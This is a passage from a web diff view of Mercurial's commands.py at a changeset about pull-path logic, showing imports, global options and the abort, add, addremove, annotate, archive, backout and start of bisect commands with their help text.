##// END OF EJS Templates
urlutil: add a `get_pull_paths` to perform the pull destination logic...
marmoute -
r47672:df7439cc default
parent child Browse files
Show More
@@ -1,7944 +1,7940 b''
1 1 # commands.py - command processing for mercurial
2 2 #
3 3 # Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import errno
11 11 import os
12 12 import re
13 13 import sys
14 14
15 15 from .i18n import _
16 16 from .node import (
17 17 hex,
18 18 nullid,
19 19 nullrev,
20 20 short,
21 21 wdirhex,
22 22 wdirrev,
23 23 )
24 24 from .pycompat import open
25 25 from . import (
26 26 archival,
27 27 bookmarks,
28 28 bundle2,
29 29 bundlecaches,
30 30 changegroup,
31 31 cmdutil,
32 32 copies,
33 33 debugcommands as debugcommandsmod,
34 34 destutil,
35 35 dirstateguard,
36 36 discovery,
37 37 encoding,
38 38 error,
39 39 exchange,
40 40 extensions,
41 41 filemerge,
42 42 formatter,
43 43 graphmod,
44 44 grep as grepmod,
45 45 hbisect,
46 46 help,
47 47 hg,
48 48 logcmdutil,
49 49 merge as mergemod,
50 50 mergestate as mergestatemod,
51 51 narrowspec,
52 52 obsolete,
53 53 obsutil,
54 54 patch,
55 55 phases,
56 56 pycompat,
57 57 rcutil,
58 58 registrar,
59 59 requirements,
60 60 revsetlang,
61 61 rewriteutil,
62 62 scmutil,
63 63 server,
64 64 shelve as shelvemod,
65 65 state as statemod,
66 66 streamclone,
67 67 tags as tagsmod,
68 68 ui as uimod,
69 69 util,
70 70 verify as verifymod,
71 71 vfs as vfsmod,
72 72 wireprotoserver,
73 73 )
74 74 from .utils import (
75 75 dateutil,
76 76 stringutil,
77 77 urlutil,
78 78 )
79 79
80 80 if pycompat.TYPE_CHECKING:
81 81 from typing import (
82 82 List,
83 83 )
84 84
85 85
86 86 table = {}
87 87 table.update(debugcommandsmod.command._table)
88 88
89 89 command = registrar.command(table)
90 90 INTENT_READONLY = registrar.INTENT_READONLY
91 91
92 92 # common command options
93 93
94 94 globalopts = [
95 95 (
96 96 b'R',
97 97 b'repository',
98 98 b'',
99 99 _(b'repository root directory or name of overlay bundle file'),
100 100 _(b'REPO'),
101 101 ),
102 102 (b'', b'cwd', b'', _(b'change working directory'), _(b'DIR')),
103 103 (
104 104 b'y',
105 105 b'noninteractive',
106 106 None,
107 107 _(
108 108 b'do not prompt, automatically pick the first choice for all prompts'
109 109 ),
110 110 ),
111 111 (b'q', b'quiet', None, _(b'suppress output')),
112 112 (b'v', b'verbose', None, _(b'enable additional output')),
113 113 (
114 114 b'',
115 115 b'color',
116 116 b'',
117 117 # i18n: 'always', 'auto', 'never', and 'debug' are keywords
118 118 # and should not be translated
119 119 _(b"when to colorize (boolean, always, auto, never, or debug)"),
120 120 _(b'TYPE'),
121 121 ),
122 122 (
123 123 b'',
124 124 b'config',
125 125 [],
126 126 _(b'set/override config option (use \'section.name=value\')'),
127 127 _(b'CONFIG'),
128 128 ),
129 129 (b'', b'debug', None, _(b'enable debugging output')),
130 130 (b'', b'debugger', None, _(b'start debugger')),
131 131 (
132 132 b'',
133 133 b'encoding',
134 134 encoding.encoding,
135 135 _(b'set the charset encoding'),
136 136 _(b'ENCODE'),
137 137 ),
138 138 (
139 139 b'',
140 140 b'encodingmode',
141 141 encoding.encodingmode,
142 142 _(b'set the charset encoding mode'),
143 143 _(b'MODE'),
144 144 ),
145 145 (b'', b'traceback', None, _(b'always print a traceback on exception')),
146 146 (b'', b'time', None, _(b'time how long the command takes')),
147 147 (b'', b'profile', None, _(b'print command execution profile')),
148 148 (b'', b'version', None, _(b'output version information and exit')),
149 149 (b'h', b'help', None, _(b'display help and exit')),
150 150 (b'', b'hidden', False, _(b'consider hidden changesets')),
151 151 (
152 152 b'',
153 153 b'pager',
154 154 b'auto',
155 155 _(b"when to paginate (boolean, always, auto, or never)"),
156 156 _(b'TYPE'),
157 157 ),
158 158 ]
159 159
160 160 dryrunopts = cmdutil.dryrunopts
161 161 remoteopts = cmdutil.remoteopts
162 162 walkopts = cmdutil.walkopts
163 163 commitopts = cmdutil.commitopts
164 164 commitopts2 = cmdutil.commitopts2
165 165 commitopts3 = cmdutil.commitopts3
166 166 formatteropts = cmdutil.formatteropts
167 167 templateopts = cmdutil.templateopts
168 168 logopts = cmdutil.logopts
169 169 diffopts = cmdutil.diffopts
170 170 diffwsopts = cmdutil.diffwsopts
171 171 diffopts2 = cmdutil.diffopts2
172 172 mergetoolopts = cmdutil.mergetoolopts
173 173 similarityopts = cmdutil.similarityopts
174 174 subrepoopts = cmdutil.subrepoopts
175 175 debugrevlogopts = cmdutil.debugrevlogopts
176 176
177 177 # Commands start here, listed alphabetically
178 178
179 179
180 180 @command(
181 181 b'abort',
182 182 dryrunopts,
183 183 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
184 184 helpbasic=True,
185 185 )
186 186 def abort(ui, repo, **opts):
187 187 """abort an unfinished operation (EXPERIMENTAL)
188 188
189 189 Aborts a multistep operation like graft, histedit, rebase, merge,
190 190 and unshelve if they are in an unfinished state.
191 191
192 192 use --dry-run/-n to dry run the command.
193 193 """
194 194 dryrun = opts.get('dry_run')
195 195 abortstate = cmdutil.getunfinishedstate(repo)
196 196 if not abortstate:
197 197 raise error.StateError(_(b'no operation in progress'))
198 198 if not abortstate.abortfunc:
199 199 raise error.InputError(
200 200 (
201 201 _(b"%s in progress but does not support 'hg abort'")
202 202 % (abortstate._opname)
203 203 ),
204 204 hint=abortstate.hint(),
205 205 )
206 206 if dryrun:
207 207 ui.status(
208 208 _(b'%s in progress, will be aborted\n') % (abortstate._opname)
209 209 )
210 210 return
211 211 return abortstate.abortfunc(ui, repo)
212 212
213 213
214 214 @command(
215 215 b'add',
216 216 walkopts + subrepoopts + dryrunopts,
217 217 _(b'[OPTION]... [FILE]...'),
218 218 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
219 219 helpbasic=True,
220 220 inferrepo=True,
221 221 )
222 222 def add(ui, repo, *pats, **opts):
223 223 """add the specified files on the next commit
224 224
225 225 Schedule files to be version controlled and added to the
226 226 repository.
227 227
228 228 The files will be added to the repository at the next commit. To
229 229 undo an add before that, see :hg:`forget`.
230 230
231 231 If no names are given, add all files to the repository (except
232 232 files matching ``.hgignore``).
233 233
234 234 .. container:: verbose
235 235
236 236 Examples:
237 237
238 238 - New (unknown) files are added
239 239 automatically by :hg:`add`::
240 240
241 241 $ ls
242 242 foo.c
243 243 $ hg status
244 244 ? foo.c
245 245 $ hg add
246 246 adding foo.c
247 247 $ hg status
248 248 A foo.c
249 249
250 250 - Specific files to be added can be specified::
251 251
252 252 $ ls
253 253 bar.c foo.c
254 254 $ hg status
255 255 ? bar.c
256 256 ? foo.c
257 257 $ hg add bar.c
258 258 $ hg status
259 259 A bar.c
260 260 ? foo.c
261 261
262 262 Returns 0 if all files are successfully added.
263 263 """
264 264
265 265 m = scmutil.match(repo[None], pats, pycompat.byteskwargs(opts))
266 266 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
267 267 rejected = cmdutil.add(ui, repo, m, b"", uipathfn, False, **opts)
268 268 return rejected and 1 or 0
269 269
270 270
271 271 @command(
272 272 b'addremove',
273 273 similarityopts + subrepoopts + walkopts + dryrunopts,
274 274 _(b'[OPTION]... [FILE]...'),
275 275 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
276 276 inferrepo=True,
277 277 )
278 278 def addremove(ui, repo, *pats, **opts):
279 279 """add all new files, delete all missing files
280 280
281 281 Add all new files and remove all missing files from the
282 282 repository.
283 283
284 284 Unless names are given, new files are ignored if they match any of
285 285 the patterns in ``.hgignore``. As with add, these changes take
286 286 effect at the next commit.
287 287
288 288 Use the -s/--similarity option to detect renamed files. This
289 289 option takes a percentage between 0 (disabled) and 100 (files must
290 290 be identical) as its parameter. With a parameter greater than 0,
291 291 this compares every removed file with every added file and records
292 292 those similar enough as renames. Detecting renamed files this way
293 293 can be expensive. After using this option, :hg:`status -C` can be
294 294 used to check which files were identified as moved or renamed. If
295 295 not specified, -s/--similarity defaults to 100 and only renames of
296 296 identical files are detected.
297 297
298 298 .. container:: verbose
299 299
300 300 Examples:
301 301
302 302 - A number of files (bar.c and foo.c) are new,
303 303 while foobar.c has been removed (without using :hg:`remove`)
304 304 from the repository::
305 305
306 306 $ ls
307 307 bar.c foo.c
308 308 $ hg status
309 309 ! foobar.c
310 310 ? bar.c
311 311 ? foo.c
312 312 $ hg addremove
313 313 adding bar.c
314 314 adding foo.c
315 315 removing foobar.c
316 316 $ hg status
317 317 A bar.c
318 318 A foo.c
319 319 R foobar.c
320 320
321 321 - A file foobar.c was moved to foo.c without using :hg:`rename`.
322 322 Afterwards, it was edited slightly::
323 323
324 324 $ ls
325 325 foo.c
326 326 $ hg status
327 327 ! foobar.c
328 328 ? foo.c
329 329 $ hg addremove --similarity 90
330 330 removing foobar.c
331 331 adding foo.c
332 332 recording removal of foobar.c as rename to foo.c (94% similar)
333 333 $ hg status -C
334 334 A foo.c
335 335 foobar.c
336 336 R foobar.c
337 337
338 338 Returns 0 if all files are successfully added.
339 339 """
340 340 opts = pycompat.byteskwargs(opts)
341 341 if not opts.get(b'similarity'):
342 342 opts[b'similarity'] = b'100'
343 343 matcher = scmutil.match(repo[None], pats, opts)
344 344 relative = scmutil.anypats(pats, opts)
345 345 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=relative)
346 346 return scmutil.addremove(repo, matcher, b"", uipathfn, opts)
347 347
348 348
349 349 @command(
350 350 b'annotate|blame',
351 351 [
352 352 (b'r', b'rev', b'', _(b'annotate the specified revision'), _(b'REV')),
353 353 (
354 354 b'',
355 355 b'follow',
356 356 None,
357 357 _(b'follow copies/renames and list the filename (DEPRECATED)'),
358 358 ),
359 359 (b'', b'no-follow', None, _(b"don't follow copies and renames")),
360 360 (b'a', b'text', None, _(b'treat all files as text')),
361 361 (b'u', b'user', None, _(b'list the author (long with -v)')),
362 362 (b'f', b'file', None, _(b'list the filename')),
363 363 (b'd', b'date', None, _(b'list the date (short with -q)')),
364 364 (b'n', b'number', None, _(b'list the revision number (default)')),
365 365 (b'c', b'changeset', None, _(b'list the changeset')),
366 366 (
367 367 b'l',
368 368 b'line-number',
369 369 None,
370 370 _(b'show line number at the first appearance'),
371 371 ),
372 372 (
373 373 b'',
374 374 b'skip',
375 375 [],
376 376 _(b'revset to not display (EXPERIMENTAL)'),
377 377 _(b'REV'),
378 378 ),
379 379 ]
380 380 + diffwsopts
381 381 + walkopts
382 382 + formatteropts,
383 383 _(b'[-r REV] [-f] [-a] [-u] [-d] [-n] [-c] [-l] FILE...'),
384 384 helpcategory=command.CATEGORY_FILE_CONTENTS,
385 385 helpbasic=True,
386 386 inferrepo=True,
387 387 )
388 388 def annotate(ui, repo, *pats, **opts):
389 389 """show changeset information by line for each file
390 390
391 391 List changes in files, showing the revision id responsible for
392 392 each line.
393 393
394 394 This command is useful for discovering when a change was made and
395 395 by whom.
396 396
397 397 If you include --file, --user, or --date, the revision number is
398 398 suppressed unless you also include --number.
399 399
400 400 Without the -a/--text option, annotate will avoid processing files
401 401 it detects as binary. With -a, annotate will annotate the file
402 402 anyway, although the results will probably be neither useful
403 403 nor desirable.
404 404
405 405 .. container:: verbose
406 406
407 407 Template:
408 408
409 409 The following keywords are supported in addition to the common template
410 410 keywords and functions. See also :hg:`help templates`.
411 411
412 412 :lines: List of lines with annotation data.
413 413 :path: String. Repository-absolute path of the specified file.
414 414
415 415 And each entry of ``{lines}`` provides the following sub-keywords in
416 416 addition to ``{date}``, ``{node}``, ``{rev}``, ``{user}``, etc.
417 417
418 418 :line: String. Line content.
419 419 :lineno: Integer. Line number at that revision.
420 420 :path: String. Repository-absolute path of the file at that revision.
421 421
422 422 See :hg:`help templates.operators` for the list expansion syntax.
423 423
424 424 Returns 0 on success.
425 425 """
426 426 opts = pycompat.byteskwargs(opts)
427 427 if not pats:
428 428 raise error.InputError(
429 429 _(b'at least one filename or pattern is required')
430 430 )
431 431
432 432 if opts.get(b'follow'):
433 433 # --follow is deprecated and now just an alias for -f/--file
434 434 # to mimic the behavior of Mercurial before version 1.5
435 435 opts[b'file'] = True
436 436
437 437 if (
438 438 not opts.get(b'user')
439 439 and not opts.get(b'changeset')
440 440 and not opts.get(b'date')
441 441 and not opts.get(b'file')
442 442 ):
443 443 opts[b'number'] = True
444 444
445 445 linenumber = opts.get(b'line_number') is not None
446 446 if (
447 447 linenumber
448 448 and (not opts.get(b'changeset'))
449 449 and (not opts.get(b'number'))
450 450 ):
451 451 raise error.InputError(_(b'at least one of -n/-c is required for -l'))
452 452
453 453 rev = opts.get(b'rev')
454 454 if rev:
455 455 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
456 456 ctx = scmutil.revsingle(repo, rev)
457 457
458 458 ui.pager(b'annotate')
459 459 rootfm = ui.formatter(b'annotate', opts)
460 460 if ui.debugflag:
461 461 shorthex = pycompat.identity
462 462 else:
463 463
464 464 def shorthex(h):
465 465 return h[:12]
466 466
467 467 if ui.quiet:
468 468 datefunc = dateutil.shortdate
469 469 else:
470 470 datefunc = dateutil.datestr
471 471 if ctx.rev() is None:
472 472 if opts.get(b'changeset'):
473 473 # omit "+" suffix which is appended to node hex
474 474 def formatrev(rev):
475 475 if rev == wdirrev:
476 476 return b'%d' % ctx.p1().rev()
477 477 else:
478 478 return b'%d' % rev
479 479
480 480 else:
481 481
482 482 def formatrev(rev):
483 483 if rev == wdirrev:
484 484 return b'%d+' % ctx.p1().rev()
485 485 else:
486 486 return b'%d ' % rev
487 487
488 488 def formathex(h):
489 489 if h == wdirhex:
490 490 return b'%s+' % shorthex(hex(ctx.p1().node()))
491 491 else:
492 492 return b'%s ' % shorthex(h)
493 493
494 494 else:
495 495 formatrev = b'%d'.__mod__
496 496 formathex = shorthex
497 497
498 498 opmap = [
499 499 (b'user', b' ', lambda x: x.fctx.user(), ui.shortuser),
500 500 (b'rev', b' ', lambda x: scmutil.intrev(x.fctx), formatrev),
501 501 (b'node', b' ', lambda x: hex(scmutil.binnode(x.fctx)), formathex),
502 502 (b'date', b' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
503 503 (b'path', b' ', lambda x: x.fctx.path(), pycompat.bytestr),
504 504 (b'lineno', b':', lambda x: x.lineno, pycompat.bytestr),
505 505 ]
506 506 opnamemap = {
507 507 b'rev': b'number',
508 508 b'node': b'changeset',
509 509 b'path': b'file',
510 510 b'lineno': b'line_number',
511 511 }
512 512
513 513 if rootfm.isplain():
514 514
515 515 def makefunc(get, fmt):
516 516 return lambda x: fmt(get(x))
517 517
518 518 else:
519 519
520 520 def makefunc(get, fmt):
521 521 return get
522 522
523 523 datahint = rootfm.datahint()
524 524 funcmap = [
525 525 (makefunc(get, fmt), sep)
526 526 for fn, sep, get, fmt in opmap
527 527 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
528 528 ]
529 529 funcmap[0] = (funcmap[0][0], b'') # no separator in front of first column
530 530 fields = b' '.join(
531 531 fn
532 532 for fn, sep, get, fmt in opmap
533 533 if opts.get(opnamemap.get(fn, fn)) or fn in datahint
534 534 )
535 535
536 536 def bad(x, y):
537 537 raise error.Abort(b"%s: %s" % (x, y))
538 538
539 539 m = scmutil.match(ctx, pats, opts, badfn=bad)
540 540
541 541 follow = not opts.get(b'no_follow')
542 542 diffopts = patch.difffeatureopts(
543 543 ui, opts, section=b'annotate', whitespace=True
544 544 )
545 545 skiprevs = opts.get(b'skip')
546 546 if skiprevs:
547 547 skiprevs = scmutil.revrange(repo, skiprevs)
548 548
549 549 uipathfn = scmutil.getuipathfn(repo, legacyrelativevalue=True)
550 550 for abs in ctx.walk(m):
551 551 fctx = ctx[abs]
552 552 rootfm.startitem()
553 553 rootfm.data(path=abs)
554 554 if not opts.get(b'text') and fctx.isbinary():
555 555 rootfm.plain(_(b"%s: binary file\n") % uipathfn(abs))
556 556 continue
557 557
558 558 fm = rootfm.nested(b'lines', tmpl=b'{rev}: {line}')
559 559 lines = fctx.annotate(
560 560 follow=follow, skiprevs=skiprevs, diffopts=diffopts
561 561 )
562 562 if not lines:
563 563 fm.end()
564 564 continue
565 565 formats = []
566 566 pieces = []
567 567
568 568 for f, sep in funcmap:
569 569 l = [f(n) for n in lines]
570 570 if fm.isplain():
571 571 sizes = [encoding.colwidth(x) for x in l]
572 572 ml = max(sizes)
573 573 formats.append([sep + b' ' * (ml - w) + b'%s' for w in sizes])
574 574 else:
575 575 formats.append([b'%s'] * len(l))
576 576 pieces.append(l)
577 577
578 578 for f, p, n in zip(zip(*formats), zip(*pieces), lines):
579 579 fm.startitem()
580 580 fm.context(fctx=n.fctx)
581 581 fm.write(fields, b"".join(f), *p)
582 582 if n.skip:
583 583 fmt = b"* %s"
584 584 else:
585 585 fmt = b": %s"
586 586 fm.write(b'line', fmt, n.text)
587 587
588 588 if not lines[-1].text.endswith(b'\n'):
589 589 fm.plain(b'\n')
590 590 fm.end()
591 591
592 592 rootfm.end()
593 593
594 594
595 595 @command(
596 596 b'archive',
597 597 [
598 598 (b'', b'no-decode', None, _(b'do not pass files through decoders')),
599 599 (
600 600 b'p',
601 601 b'prefix',
602 602 b'',
603 603 _(b'directory prefix for files in archive'),
604 604 _(b'PREFIX'),
605 605 ),
606 606 (b'r', b'rev', b'', _(b'revision to distribute'), _(b'REV')),
607 607 (b't', b'type', b'', _(b'type of distribution to create'), _(b'TYPE')),
608 608 ]
609 609 + subrepoopts
610 610 + walkopts,
611 611 _(b'[OPTION]... DEST'),
612 612 helpcategory=command.CATEGORY_IMPORT_EXPORT,
613 613 )
614 614 def archive(ui, repo, dest, **opts):
615 615 """create an unversioned archive of a repository revision
616 616
617 617 By default, the revision used is the parent of the working
618 618 directory; use -r/--rev to specify a different revision.
619 619
620 620 The archive type is automatically detected based on file
621 621 extension (to override, use -t/--type).
622 622
623 623 .. container:: verbose
624 624
625 625 Examples:
626 626
627 627 - create a zip file containing the 1.0 release::
628 628
629 629 hg archive -r 1.0 project-1.0.zip
630 630
631 631 - create a tarball excluding .hg files::
632 632
633 633 hg archive project.tar.gz -X ".hg*"
634 634
635 635 Valid types are:
636 636
637 637 :``files``: a directory full of files (default)
638 638 :``tar``: tar archive, uncompressed
639 639 :``tbz2``: tar archive, compressed using bzip2
640 640 :``tgz``: tar archive, compressed using gzip
641 641 :``txz``: tar archive, compressed using lzma (only in Python 3)
642 642 :``uzip``: zip archive, uncompressed
643 643 :``zip``: zip archive, compressed using deflate
644 644
645 645 The exact name of the destination archive or directory is given
646 646 using a format string; see :hg:`help export` for details.
647 647
648 648 Each member added to an archive file has a directory prefix
649 649 prepended. Use -p/--prefix to specify a format string for the
650 650 prefix. The default is the basename of the archive, with suffixes
651 651 removed.
652 652
653 653 Returns 0 on success.
654 654 """
655 655
656 656 opts = pycompat.byteskwargs(opts)
657 657 rev = opts.get(b'rev')
658 658 if rev:
659 659 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
660 660 ctx = scmutil.revsingle(repo, rev)
661 661 if not ctx:
662 662 raise error.InputError(
663 663 _(b'no working directory: please specify a revision')
664 664 )
665 665 node = ctx.node()
666 666 dest = cmdutil.makefilename(ctx, dest)
667 667 if os.path.realpath(dest) == repo.root:
668 668 raise error.InputError(_(b'repository root cannot be destination'))
669 669
670 670 kind = opts.get(b'type') or archival.guesskind(dest) or b'files'
671 671 prefix = opts.get(b'prefix')
672 672
673 673 if dest == b'-':
674 674 if kind == b'files':
675 675 raise error.InputError(_(b'cannot archive plain files to stdout'))
676 676 dest = cmdutil.makefileobj(ctx, dest)
677 677 if not prefix:
678 678 prefix = os.path.basename(repo.root) + b'-%h'
679 679
680 680 prefix = cmdutil.makefilename(ctx, prefix)
681 681 match = scmutil.match(ctx, [], opts)
682 682 archival.archive(
683 683 repo,
684 684 dest,
685 685 node,
686 686 kind,
687 687 not opts.get(b'no_decode'),
688 688 match,
689 689 prefix,
690 690 subrepos=opts.get(b'subrepos'),
691 691 )
692 692
693 693
694 694 @command(
695 695 b'backout',
696 696 [
697 697 (
698 698 b'',
699 699 b'merge',
700 700 None,
701 701 _(b'merge with old dirstate parent after backout'),
702 702 ),
703 703 (
704 704 b'',
705 705 b'commit',
706 706 None,
707 707 _(b'commit if no conflicts were encountered (DEPRECATED)'),
708 708 ),
709 709 (b'', b'no-commit', None, _(b'do not commit')),
710 710 (
711 711 b'',
712 712 b'parent',
713 713 b'',
714 714 _(b'parent to choose when backing out merge (DEPRECATED)'),
715 715 _(b'REV'),
716 716 ),
717 717 (b'r', b'rev', b'', _(b'revision to backout'), _(b'REV')),
718 718 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
719 719 ]
720 720 + mergetoolopts
721 721 + walkopts
722 722 + commitopts
723 723 + commitopts2,
724 724 _(b'[OPTION]... [-r] REV'),
725 725 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
726 726 )
727 727 def backout(ui, repo, node=None, rev=None, **opts):
728 728 """reverse effect of earlier changeset
729 729
730 730 Prepare a new changeset with the effect of REV undone in the
731 731 current working directory. If no conflicts were encountered,
732 732 it will be committed immediately.
733 733
734 734 If REV is the parent of the working directory, then this new changeset
735 735 is committed automatically (unless --no-commit is specified).
736 736
737 737 .. note::
738 738
739 739 :hg:`backout` cannot be used to fix either an unwanted or
740 740 incorrect merge.
741 741
742 742 .. container:: verbose
743 743
744 744 Examples:
745 745
746 746 - Reverse the effect of the parent of the working directory.
747 747 This backout will be committed immediately::
748 748
749 749 hg backout -r .
750 750
751 751 - Reverse the effect of previous bad revision 23::
752 752
753 753 hg backout -r 23
754 754
755 755 - Reverse the effect of previous bad revision 23 and
756 756 leave changes uncommitted::
757 757
758 758 hg backout -r 23 --no-commit
759 759 hg commit -m "Backout revision 23"
760 760
761 761 By default, the pending changeset will have one parent,
762 762 maintaining a linear history. With --merge, the pending
763 763 changeset will instead have two parents: the old parent of the
764 764 working directory and a new child of REV that simply undoes REV.
765 765
766 766 Before version 1.7, the behavior without --merge was equivalent
767 767 to specifying --merge followed by :hg:`update --clean .` to
768 768 cancel the merge and leave the child of REV as a head to be
769 769 merged separately.
770 770
771 771 See :hg:`help dates` for a list of formats valid for -d/--date.
772 772
773 773 See :hg:`help revert` for a way to restore files to the state
774 774 of another revision.
775 775
776 776 Returns 0 on success, 1 if nothing to backout or there are unresolved
777 777 files.
778 778 """
779 779 with repo.wlock(), repo.lock():
780 780 return _dobackout(ui, repo, node, rev, **opts)
781 781
782 782
783 783 def _dobackout(ui, repo, node=None, rev=None, **opts):
784 784 cmdutil.check_incompatible_arguments(opts, 'no_commit', ['commit', 'merge'])
785 785 opts = pycompat.byteskwargs(opts)
786 786
787 787 if rev and node:
788 788 raise error.InputError(_(b"please specify just one revision"))
789 789
790 790 if not rev:
791 791 rev = node
792 792
793 793 if not rev:
794 794 raise error.InputError(_(b"please specify a revision to backout"))
795 795
796 796 date = opts.get(b'date')
797 797 if date:
798 798 opts[b'date'] = dateutil.parsedate(date)
799 799
800 800 cmdutil.checkunfinished(repo)
801 801 cmdutil.bailifchanged(repo)
802 802 ctx = scmutil.revsingle(repo, rev)
803 803 node = ctx.node()
804 804
805 805 op1, op2 = repo.dirstate.parents()
806 806 if not repo.changelog.isancestor(node, op1):
807 807 raise error.InputError(
808 808 _(b'cannot backout change that is not an ancestor')
809 809 )
810 810
811 811 p1, p2 = repo.changelog.parents(node)
812 812 if p1 == nullid:
813 813 raise error.InputError(_(b'cannot backout a change with no parents'))
814 814 if p2 != nullid:
815 815 if not opts.get(b'parent'):
816 816 raise error.InputError(_(b'cannot backout a merge changeset'))
817 817 p = repo.lookup(opts[b'parent'])
818 818 if p not in (p1, p2):
819 819 raise error.InputError(
820 820 _(b'%s is not a parent of %s') % (short(p), short(node))
821 821 )
822 822 parent = p
823 823 else:
824 824 if opts.get(b'parent'):
825 825 raise error.InputError(
826 826 _(b'cannot use --parent on non-merge changeset')
827 827 )
828 828 parent = p1
829 829
830 830 # the backout should appear on the same branch
831 831 branch = repo.dirstate.branch()
832 832 bheads = repo.branchheads(branch)
833 833 rctx = scmutil.revsingle(repo, hex(parent))
834 834 if not opts.get(b'merge') and op1 != node:
835 835 with dirstateguard.dirstateguard(repo, b'backout'):
836 836 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
837 837 with ui.configoverride(overrides, b'backout'):
838 838 stats = mergemod.back_out(ctx, parent=repo[parent])
839 839 repo.setparents(op1, op2)
840 840 hg._showstats(repo, stats)
841 841 if stats.unresolvedcount:
842 842 repo.ui.status(
843 843 _(b"use 'hg resolve' to retry unresolved file merges\n")
844 844 )
845 845 return 1
846 846 else:
847 847 hg.clean(repo, node, show_stats=False)
848 848 repo.dirstate.setbranch(branch)
849 849 cmdutil.revert(ui, repo, rctx)
850 850
851 851 if opts.get(b'no_commit'):
852 852 msg = _(b"changeset %s backed out, don't forget to commit.\n")
853 853 ui.status(msg % short(node))
854 854 return 0
855 855
856 856 def commitfunc(ui, repo, message, match, opts):
857 857 editform = b'backout'
858 858 e = cmdutil.getcommiteditor(
859 859 editform=editform, **pycompat.strkwargs(opts)
860 860 )
861 861 if not message:
862 862 # we don't translate commit messages
863 863 message = b"Backed out changeset %s" % short(node)
864 864 e = cmdutil.getcommiteditor(edit=True, editform=editform)
865 865 return repo.commit(
866 866 message, opts.get(b'user'), opts.get(b'date'), match, editor=e
867 867 )
868 868
869 869 # save to detect changes
870 870 tip = repo.changelog.tip()
871 871
872 872 newnode = cmdutil.commit(ui, repo, commitfunc, [], opts)
873 873 if not newnode:
874 874 ui.status(_(b"nothing changed\n"))
875 875 return 1
876 876 cmdutil.commitstatus(repo, newnode, branch, bheads, tip)
877 877
878 878 def nice(node):
879 879 return b'%d:%s' % (repo.changelog.rev(node), short(node))
880 880
881 881 ui.status(
882 882 _(b'changeset %s backs out changeset %s\n')
883 883 % (nice(newnode), nice(node))
884 884 )
885 885 if opts.get(b'merge') and op1 != node:
886 886 hg.clean(repo, op1, show_stats=False)
887 887 ui.status(_(b'merging with changeset %s\n') % nice(newnode))
888 888 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
889 889 with ui.configoverride(overrides, b'backout'):
890 890 return hg.merge(repo[b'tip'])
891 891 return 0
892 892
893 893
894 894 @command(
895 895 b'bisect',
896 896 [
897 897 (b'r', b'reset', False, _(b'reset bisect state')),
898 898 (b'g', b'good', False, _(b'mark changeset good')),
899 899 (b'b', b'bad', False, _(b'mark changeset bad')),
900 900 (b's', b'skip', False, _(b'skip testing changeset')),
901 901 (b'e', b'extend', False, _(b'extend the bisect range')),
902 902 (
903 903 b'c',
904 904 b'command',
905 905 b'',
906 906 _(b'use command to check changeset state'),
907 907 _(b'CMD'),
908 908 ),
909 909 (b'U', b'noupdate', False, _(b'do not update to target')),
910 910 ],
911 911 _(b"[-gbsr] [-U] [-c CMD] [REV]"),
912 912 helpcategory=command.CATEGORY_CHANGE_NAVIGATION,
913 913 )
914 914 def bisect(
915 915 ui,
916 916 repo,
917 917 positional_1=None,
918 918 positional_2=None,
919 919 command=None,
920 920 reset=None,
921 921 good=None,
922 922 bad=None,
923 923 skip=None,
924 924 extend=None,
925 925 noupdate=None,
926 926 ):
927 927 """subdivision search of changesets
928 928
929 929 This command helps to find changesets which introduce problems. To
930 930 use, mark the earliest changeset you know exhibits the problem as
931 931 bad, then mark the latest changeset which is free from the problem
932 932 as good. Bisect will update your working directory to a revision
933 933 for testing (unless the -U/--noupdate option is specified). Once
934 934 you have performed tests, mark the working directory as good or
935 935 bad, and bisect will either update to another candidate changeset
936 936 or announce that it has found the bad revision.
937 937
938 938 As a shortcut, you can also use the revision argument to mark a
939 939 revision as good or bad without checking it out first.
940 940
941 941 If you supply a command, it will be used for automatic bisection.
942 942 The environment variable HG_NODE will contain the ID of the
943 943 changeset being tested. The exit status of the command will be
944 944 used to mark revisions as good or bad: status 0 means good, 125
945 945 means to skip the revision, 127 (command not found) will abort the
946 946 bisection, and any other non-zero exit status means the revision
947 947 is bad.
948 948
949 949 .. container:: verbose
950 950
951 951 Some examples:
952 952
953 953 - start a bisection with known bad revision 34, and good revision 12::
954 954
955 955 hg bisect --bad 34
956 956 hg bisect --good 12
957 957
958 958 - advance the current bisection by marking current revision as good or
959 959 bad::
960 960
961 961 hg bisect --good
962 962 hg bisect --bad
963 963
964 964 - mark the current revision, or a known revision, to be skipped (e.g. if
965 965 that revision is not usable because of another issue)::
966 966
967 967 hg bisect --skip
968 968 hg bisect --skip 23
969 969
970 970 - skip all revisions that do not touch directories ``foo`` or ``bar``::
971 971
972 972 hg bisect --skip "!( file('path:foo') & file('path:bar') )"
973 973
974 974 - forget the current bisection::
975 975
976 976 hg bisect --reset
977 977
978 978 - use 'make && make tests' to automatically find the first broken
979 979 revision::
980 980
981 981 hg bisect --reset
982 982 hg bisect --bad 34
983 983 hg bisect --good 12
984 984 hg bisect --command "make && make tests"
985 985
986 986 - see all changesets whose states are already known in the current
987 987 bisection::
988 988
989 989 hg log -r "bisect(pruned)"
990 990
991 991 - see the changeset currently being bisected (especially useful
992 992 if running with -U/--noupdate)::
993 993
994 994 hg log -r "bisect(current)"
995 995
996 996 - see all changesets that took part in the current bisection::
997 997
998 998 hg log -r "bisect(range)"
999 999
1000 1000 - you can even get a nice graph::
1001 1001
1002 1002 hg log --graph -r "bisect(range)"
1003 1003
1004 1004 See :hg:`help revisions.bisect` for more about the `bisect()` predicate.
1005 1005
1006 1006 Returns 0 on success.
1007 1007 """
1008 1008 rev = []
1009 1009 # backward compatibility
1010 1010 if positional_1 in (b"good", b"bad", b"reset", b"init"):
